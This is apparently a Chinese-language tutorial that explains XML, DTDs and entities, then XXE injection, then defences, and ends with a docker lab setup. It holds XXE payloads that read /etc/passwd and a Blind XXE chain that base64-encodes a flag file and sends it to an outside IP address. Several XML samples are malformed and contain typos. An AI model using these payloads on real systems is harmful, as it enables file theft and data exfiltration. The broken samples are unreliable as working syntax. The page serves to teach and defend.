赞
踩
XML指可扩展标记语言(Extensible Markup Language)。XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。它在 HTML 之后开发,来弥补 HTML的不足。HTML 用于定义数据的展示,专注于它应该是什么样子。反之,XML 用于定义数据如何被组织。例如,HTML中,你的标签为<title>、<h1>、<tab1e>,<p>以及其它标签。这些东西都用于定,<h1>标签定义了标题,<table>标签按行和列展义内容如何展示。<title>用于定义页面的标题,示数据,并且<p>表示为简单文本。反之,XML没有预定义的标签。创建XML 文档的人可以定义它们自己的标签,来描述展示的内容。
例如这样:
- 1.所有 XML 元素都须有关闭标签
- 2.XML 标签对大小写敏感。
- 3.XML 必须正确地嵌套。
- 4.XML 文档必须有根元素。
- 5.XML 的属性值须加引号
DTD(文档类型定义)是一种用于定义 XML 文档结构和元素约束的方法。它可以描述一个 XML 文档的元素、属性、实体、注释等,从而规定了文档的结构和语法规则。DTD 通常是一个单独的文件,可以被多个 XML 文档所共享。
DTD 可在内部声明,也可作为一个外部引用。
(1)内部DTD声明
在 XML 中,可以将 DTD 声明嵌入到 XML 文档中,这被称为“内部 DTD 声明”。内部 DTD 声明位于 XML 文档的开头,使用元素进行声明。例如格式
<!DOCTYPE 根元素[元素声明]>
例子:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ELEMENT note(to,from,heading,body)>
<!ELEMENT tO(#PCDATA)>
<!ELEMENT from(#PCDATA)>
<!ELEMENT heading(#PCDATA)>
<!ELEMENT body(#PCDATA)>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
这个例子中,元素包含一个内部 DTD 声明,它定义了 note 元素和它的子元素 to、from、eading、body 的规则。
#PCDATA
在XML中,#PCDATA是一个特殊的记号,表示“parsed character data”(已解析的字符数据)也就是文本内容。在XML文档中,元素可以包含文本内容,这些文本内容会被解析器解析为#PCDATA类型。
#PCDATA类型表示元素内容中包含的文本内容,并且可以包含任何字符(除了一些特殊的字符,如"”和”&"等,需要进行转义)。在XML中,#PCDATA类型的文本内容必须始终位于元素标签之间,不能包含其他元素或标记。
#CD ATA
在XML中,#CDATA是一个特殊的记号,表示“character data”(字符数据),也就是未解析的文本内容。与#PCDATA不同,#CDATA表示的文本内容不会被XML解析器解析,而是被视为纯文本。
在XML文档中,可以使用标记将文本内容标记为#CDATA类型,这样解析器就不会对这些文本内容进行解析。
(2)外部DTD声明
在 XML 中,可以将 DTD 声明作为一个单独的文件,并通过外部引用来在 XML 文档中使用,这被称为“外部 DTD 声明”。外部 DTD 声明通常包含在一个独立的文件中,它定义了 XML 文档中使用的元素、属性、实体等的规则。XML 文档中使用 DOCTYPE 声明来引用外部 DTD 文件。
格式
<!DOCTYPE 根元素 SYSTEM“文件名”>
比如:
- <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE note SYSTEM "note.dtd">
- <note>
- <to>Tove</to>
- <from>Jani</from>
- <heading>Reminder</heading>
- <body>Don't forget me this weekend!</body>
- </note>
在这个例子中,DOCTYPE 声明中的 SYSTEM“note.dtd”指定了使用外部 DTD 文件“note.dtd”。XML解析器会自动下载并解析该文件,并根据其中定义的规则验证 XML 文档的结构和语法正确性,
note.dtd的内容为:
- <!ELEMENT note(to,from,heading,body)>
- <!ELEMENT tO(#PCDATA)>
- <!ELEMENT from(#PCDATA)>
- <!ELEMENT heading(#PCDATA)>
- <!ELEMENT body(#PCDATA)>
在 DTD(文档类型定义)中,实体是一种可被引用的数据类型,它可以用来代替特定的字符、字符串、符号等,从而使 DTD 更加灵活和易于维护。在 DTD 中,有两种类型的实体:内部实体和外部实体。
在 XML 中,内部实体(internal Entity)是指定义在 XML 内部的实体,它可以在 XML 文档中被引用和使用,从而提高了 XML 文档的可读性和可维护性。
·格式
<!ENTITY 实体名称“实体的值">
例子:
- <!DOCTYPE note<!ENTITY author "John Smith">
- <note>
- <to>Tove</to>
- <from>Jani</from>
- <heading>Reminder</heading><body>Hello &author;!</body></note>
在这个例子中,定义了一个名为“author”的内部实体,它的实际内容是“John Smith”。在 XML 文档中,通过使用“&author;"来引用该实体,并将其替换为实际内容。
在 XML 中,外部实体(External Entity)是指定义在 XML 外部的实体,它可以被引用到 XML 文档中,从而提高了 XML 文档的可重用性和可维护性。外部实体可以通过 DOCTYPE 声明中的 SYSTEM 和 PUBLIC 声明进行引用。其中,SYSTEM 声明指向了外部实体文件的位置,而 PUBLI 声明指定了外部实体的公共标识符(Public ldentifier),以便XML 处理器可以识别该实体。
格式
<!ENTITY 实体名称 SYSTEM"URI">
例子:
- <!DOCTYPE note[
- <!ENTITY author SYSTEM "author.txt">
- ]>
- <note>
- <to>Tove</to>
- <from>Jani</from>
- <heading>Reminder</heading>
- <body>Hello &author;!</body>
- </note>
在这个例子中,定义了一个名为“author"的外部实体,它在一个名为“author.txt”的文件中定义。在XML 文档中,通过使用“&author;"来引用该实体,并将其替换为“author.txt"文件中的实际内容。
<!ENTITY 实体名称 PUBLIC"public ID""URI">
通用实体是一个可以在 XML 文档中引用和使用的文本片段,"它的语法格式为:
<!ENTITY entity-name "entity-value">
其中,entity-name 是实体的名称,entity-value 是实体的值。通用实体可以在 XML 文档中任何位置引用和使用,使用实体引用的方式引用该实体。
参数实体是一个特殊的实体,它只能在 DTD 中引用和使用,用于简化 DTD 的定义。参数实体的语法格式为:
<!ENTITY % entity-name "entity-value">
其中,entity-name 是参数实体的名称,entity-value 是参数实体的值。参数实体只能在 DTD 中引用和使用,使用“%”符号和实体名称的方式引用该实体。
在 XML 中,实体引用(Entity Reference)是指使用“&”符号和实体名称来引用一个已经定义的实体。实体引用可以引用内部实体或外部实体,从而实现 XML 文档中的数据共享和重用。在 XML 中,有一些内置的实体引用,例如“<"代表小于号(<),“>”代表大于号(>),“&”代表和号(&),""代表单引号('),“"代表双引号(")。这些实体引用可以帮助我们避免 XML 中的语法错误和字符转义问题。
除了内置的实体引用之外,我们还可以自定义实体引用,以便在 XML 文档中共享和重用数据。在XML 中,实体引用有两种类型:内部实体引用和外部实体引用。
内部实体引用是指定义在 XML 内部的实体。例子:
- <!DOCTYPE note [
- <!ENTITY author:"John smith">
- ]>
- <note>
- <to>Tove</to>
- <from>Jani</from>
- <heading>Reminder</heading>
- <body>Hello &author;!</body>
- </note>
在这个例子中,定义了一个名为“author"的内部实体,它的实际内容是“John Smith"。在 XML 文档中,通过使用“&author;"来引用该实体,并将其替换为实际内容。
外部实体引用是指定义在 XML 外部的实体。
例子:
- <!DOCTYPE note
- <!ENTITY author SYSTEM "author.txt">
- ]>
- <note>
- <to>Tove</to>
- <from>Jani</from>
- <heading>Reminder</heading>
- <body>Hello &author;!</body>
- </note>
在这个例子中,定义了一个名为“author”的外部实体,它在一个名为“author.txt”的文件中定义。在XML 文档中,通过使用“&author;"来引用该实体,并将其替换为“author.txt”文件中的实际内容。
(1)使用 % 实体名(这里面空格不能少)在 DTD 中定义,并且只能在 DTD 中使用 %实体名;引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用
示例代码:
- <?xml version="1.0" encoding="UTF-8" ?>
- <!DOCTYPE message
- <!ENTITY % remote SYSTEM "http://IP:6666">
- %remote;
- ]>
- <message></message>
参数实体在我们 Blind XXE 中起到了至关重要的作用
(4)特殊符号
在XML中,一些字符拥有特殊的意义,如果把这些直接放进XML元素中会产生错误。比如下面这个插入了“<”符号,解析器会把它当作新元素的开始,就会产生错误。为了避免这个错误,我们可以用实体引用来替代这些特殊的字符。比如在XML中有5个预定义的实体引用:
利用了XML解析器中的实体功能,向目标应用程序注入恶意实体。攻击者构造一个恶意XML文档,并在其中插入一个外部实体引用,引用指向一个攻击者控制的文件或URL。当目标应用程序解析恶意XML文档时,"它会尝试加载外部实体,并执行其中包含的代码或读取其中包含的数据。
当允许引用外部实体时,:通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
方式一:直接通过DTD外部实体声明
- <?xml version="1.0"encoding="IS0-8859-1"?>
- <!DOCTYPE foo
- <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><user><username>&xxe;</username><password>1234</password></user>
方式二:通过DTD文档引入外部DTD文档,再引入外部实体。
- <?xml version="1.0"?>
- <!DOCTYPE a SYSTEM "http://120.27.61.239/evil.dtd">
- <user><username>&xxe;</username><password>1234</password></user>
evil.dtd
<!ENTITY xxe SYSTEM "file:///etc/passwd">
以上任意文件读取能够成功,除了DTD可有引用外部实体外,还取决于有输出信息,即有回显。那么如果程序没有回显的情况下,该怎么读取文件内容呢?需要使用blind xxe漏洞去利用。
Blind XXE
- <!DOCTYPE convert
- <!ENTITY % remote SSTEM "http://139.9.198.30/test.dtd">
- %remote;%int;%send;
- ]>
- <user><username>1</username><password>2ad</password></user>
攻击者服务器test.dtd
- <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/fla8”>
- <!ENTITY % int "<!ENTITY %send SSTEM 'http://139.9.198.30/?p=%file;'>">
注意:参数实体可以嵌套定义,但需要注意的是,内层的定义的参数实体%需要进行HTML转义,否则会出现解析错误。
实现流程:从 payload 中能看到连续调用了三个参数实体 %remote;%int;%send;,这就是利用先后顺序,%remote先引用,引入外部dtd(攻击服务器上的text.dtd),然后引用%int%int调用
test.dtd中定义的% int参数实体的值<!ENTITY %send SYSTEM'http://139.9.198.30/?p=%file;'>,%file再引入外部参数实体<!ENTITY % file SYSTEM"php://filter/read=convert.base64-encode/resource=/tmp/flag">,最后就是%send的弓用。
最直接的办法就是,检测那些接收 xm 作为输入内容的节点。但是很多时候,这些节点表面看来可能不是很明显,这个时候就需要借助 burp 抓包,通过修改不同的字段,如 http 请求方法、Content-Type 头部字段等,然后看看应用程序的响应是否解析了发送的内容,如果解析了,那么就有可能有 XXE 漏洞。
实际上,现代Excel文件实际上只是XML文档的zip文件。这称为0ffice Open XML格式或O0XML。许多应用程序允许上传文件。有些处理内部数据并采取相应的操作,这几乎肯定需要解析XML。如果解析器未安全配置,则XXE几乎是不可避免的。
1.禁用外部实体引用:禁用XML解析器中的外部实体引用,或者只允许引用受信任的实体。2.使用安全的XML解析器:使用安全的XML解析器,例如libxml2或SAX解析器,这些解析器已经默认禁用了外部实体引用。
3.过滤用户输入:对于从用户接收的XML数据,进行严格的输入验证和过滤,以防止恶意XML文件被解析。
docker pull betsy0/yjvul-xxe1
docker run -d -p 30003:80 --restart=always docker.io/betsy0/yjvul-xxe1
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。